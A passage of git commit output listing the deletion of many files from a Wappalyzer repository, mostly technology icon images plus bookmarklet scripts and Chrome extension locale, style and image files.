Wappalyzer/drivers/bookmarklet/images/icons/SWFObject.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Saia PCD.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Sarka-SPIP.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Scala.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Schneider Web Server.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Schneider.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Scientific Linux.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Sencha Touch.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/Sentinel Keys Server.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/Sentinel License Monitor.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/Sentinel Protection Server.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Seoshop.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Serendipity.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Shadow.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/ShareThis.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/ShinyStat.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Shopalize.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Shopatron.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Shopify.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Shopware.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Silva.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/SilverStripe.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/SimpleHTTP.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Site Meter.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/SiteCatalyst.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/SiteDNK.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/SiteEdit.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Sitecore.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Sivuviidakko.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Sizmek.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Skimlinks.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Slimbox 2.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Slimbox.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Smart Ad Server.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/SmartSite.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Smartstore.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Snap.svg.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Snoobi.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/SobiPro.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Socket.io.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Solodev.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/SoundManager.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Sphinx.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/SpiderControl iniNet.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/Splunk.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/Splunkd.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Spree.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Squarespace.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Squiz Matrix.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Starlet.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/StatCounter.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Store Systems.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Stripe.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/SublimeVideo.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/Subrion.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/SunOS.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Supersized.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Swiftlet.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Synology DiskStation.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/TWiki.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/TYPO3 CMS.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/TYPO3 Flow.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/TYPO3 Neos.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/TYPOlight.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Tealeaf.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/TeamCity.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Tengine.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Textpattern CMS.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/TiddlyWiki.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Tiki Wiki CMS Groupware.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Timeline.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Timeplot.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/TinyMCE.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Titan.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/TomatoCart.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/TornadoServer.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Trac.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/TrackJs.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Tumblr.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Twilight CMS.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/TwistPHP.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/TwistedWeb.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Twitter Bootstrap.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/TypePad.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Typekit.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/UIKit.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/UNIX.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Ubercart.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Ubuntu.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/UltraCart.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Umbraco.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Underscore.js.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/UserRules.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/UserVoice.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Ushahidi.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/VIVVO.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/VP-ASP.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Vanilla.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Varnish.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Veoxa.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/VideoJS.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/VigLink.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Vignette.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Vimeo.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Virata EmWeb.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/VirtueMart.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Visual WebGUI.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/VisualPath.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Volusion.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Vox.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Vue.js.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/W3 Total Cache.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/W3Counter.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/WP Rocket.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Web Optimizer.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Web2py.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/WebGUI.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/WebPublisher.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Webix.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/WebsPlanet.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Websale.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/WebsiteBaker.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Webtrekk.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Webtrends.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Weebly.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/WikkaWiki.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Windows CE.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Windows Server.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Wink.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Winstone Servlet Container.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Wix.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Wolf CMS.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/WooCommerce.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Woopra.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/WordPress Super Cache.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/WordPress.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/Wowza Media Server.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/X-Cart.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/XAMPP.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/XMB.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/XOOPS.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/XRegExp.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Xajax.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Xanario.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/XenForo.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/XiTi.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Xitami.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/YUI Doc.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/YUI.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/YaBB.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Yahoo Advertising.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Yahoo! Ecommerce.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Yahoo! Web Analytics.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Yandex.Direct.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Yandex.Metrika.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Yieldlab.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Yii.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/YouTube.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/ZK.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/ZURB Foundation.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/Zabbix.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Zanox.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Zen Cart.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Zend.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Zepto.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Zeuscart.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Zinnia.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/Zope.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/amCharts.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/basket.js.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/cPanel.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/cgit.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/comScore.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/debut.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/default.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/dwhttpd.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/e107.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/eDevice SmartStack.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/eHTTP.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/eSyndiCat.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/eZ Publish.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/flask.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/git.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/gitweb.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/gunicorn.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/iCongo.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/iWeb.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/io4-CMS.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/jQTouch.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/jQuery Mobile.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/jQuery Sparklines.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/jQuery UI.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/jQuery.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/jqPlot.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/libwww-perl-daemon.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/lighttpd.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/math.js.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/mini_httpd.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/mod_auth_pam.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/mod_fastcgi.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/mod_jk.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/mod_perl.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/mod_python.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/mod_rack.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/mod_rails.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/mod_ssl.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/mod_wsgi.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/node.js.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/nopCommerce.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/openEngine.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/osCSS.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/osCommerce.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/ownCloud.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/papaya CMS.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/phpAlbum.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/phpBB.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/phpCMS.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/phpDocumentor.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/phpMyAdmin.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/phpPgAdmin.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/phpSQLiteCMS.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/phpwind.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/prettyPhoto.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/punBB.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/reCAPTCHA.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/sIFR.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/sNews.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/script.aculo.us.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/spin.js.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/swift.engine.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/three.js.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/thttpd.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/total.js.png delete mode 100755 Wappalyzer/drivers/bookmarklet/images/icons/uCore.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/vBulletin.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/viennaCMS.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/webEdition.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/xCharts.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/xtCommerce.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/xui.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/icons/yepnope.js.png delete mode 100644 Wappalyzer/drivers/bookmarklet/images/pending.gif delete mode 100644 Wappalyzer/drivers/bookmarklet/index.html delete mode 100644 Wappalyzer/drivers/bookmarklet/js/apps.js delete mode 100644 Wappalyzer/drivers/bookmarklet/js/driver.js delete mode 100644 Wappalyzer/drivers/bookmarklet/js/wappalyzer.js delete mode 100644 Wappalyzer/drivers/bookmarklet/json/apps.json delete mode 100644 Wappalyzer/drivers/chrome/_locales/en/messages.json delete mode 100644 Wappalyzer/drivers/chrome/_locales/es/messages.json delete mode 100644 Wappalyzer/drivers/chrome/_locales/fr/messages.json delete mode 100644 Wappalyzer/drivers/chrome/_locales/ro/messages.json delete mode 100644 Wappalyzer/drivers/chrome/_locales/ru/messages.json delete mode 100644 Wappalyzer/drivers/chrome/background.html delete mode 100644 Wappalyzer/drivers/chrome/css/options.css delete mode 100644 Wappalyzer/drivers/chrome/css/popup.css delete mode 100644 Wappalyzer/drivers/chrome/css/widgets.css delete mode 100644 Wappalyzer/drivers/chrome/images/github.png delete mode 100644 Wappalyzer/drivers/chrome/images/header.png delete mode 100644 Wappalyzer/drivers/chrome/images/icon_128.png delete mode 100644 Wappalyzer/drivers/chrome/images/icon_19.png delete mode 100644 Wappalyzer/drivers/chrome/images/icon_32.png delete mode 100644 Wappalyzer/drivers/chrome/images/icon_38.png delete mode 100644 Wappalyzer/drivers/chrome/images/icon_hot.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/1C-Bitrix.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/1und1.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/2z Project.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/3DM.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/3dCart.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/3ware.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/AMPcms.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/AOLserver.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/AT Internet Analyzer.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/AT Internet XiTi.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/ATEN.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/ATG Web Commerce.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/AWStats.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Accessible Portal.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/AdInfinity.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/AdRiver.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/AdRoll.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Adcash.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/AddShoppers.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/AddThis.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Adobe CQ5.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Adobe ColdFusion.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Adobe GoLive.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Adobe Muse.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Adobe RoboHelp.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Advanced Web Stats.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Advert Stream.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Adzerk.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Airee.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Akamai.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Algolia Realtime Search.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Allegro RomPager.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Alloy.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/AlloyUI.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Amaya.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Ametys.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Amiro.CMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Anchor CMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/AngularJS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Apache HBase.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Apache Hadoop.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Apache JSPWiki.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Apache Tomcat.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Apache Traffic Server.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Apache Wicket.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Apache.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/AppNexus.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Arc Forum.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Artifactory Web Server.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Artifactory.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/AsciiDoc.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Atlassian Bitbucket.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Atlassian Confluence.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Atlassian FishEye.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Atlassian Jira Issue Collector.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Atlassian Jira.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Avangate.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/BIGACE.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Backbone.js.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Banshee.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/BaseHTTP.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/BigDump.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Bigcommerce.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Bigware.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/BittAds.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Blip.tv.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Blogger.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/BlueKai.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Bluefish.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Boa.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Bolt.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Bonfire.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Brother.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/BrowserCMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/BugSense.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/BugSnag.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Bugzilla.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Burning Board.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Business Catalyst.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/BuySellAds.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/C++.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/CFML.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/CKEditor.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/CMS Made Simple.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/CMSimple.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/CO2Stats.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/CPG Dragonfly.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/CS Cart.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/CacheFly.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/CakePHP.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Canon HTTP Server.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Canon.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Carbon Ads.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Cargo.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Catwalk.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/CentOS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/CenteHTTPd.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Chameleon.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Chamilo.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Chartbeat.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Cherokee.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/CherryPy.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Chitika.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/ClickHeat.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/ClickTale.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Clicky.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/CloudFlare.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/Cloudera.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/CodeIgniter.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/CodeMirror.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Commerce Server.png delete mode 100755 Wappalyzer/drivers/chrome/images/icons/CompaqHTTPServer.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Concrete5.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Connect.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Contao.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Contenido.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Contens.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/ContentBox.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/ConversionLab.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Coppermine.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Cosmoshop.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Cotonti.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/CouchDB.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/CppCMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Craft CMS.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Crazy Egg.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Criteo.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Cross Pixel.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/CubeCart.png delete mode 100644 Wappalyzer/drivers/chrome/images/icons/Cufon.png delete 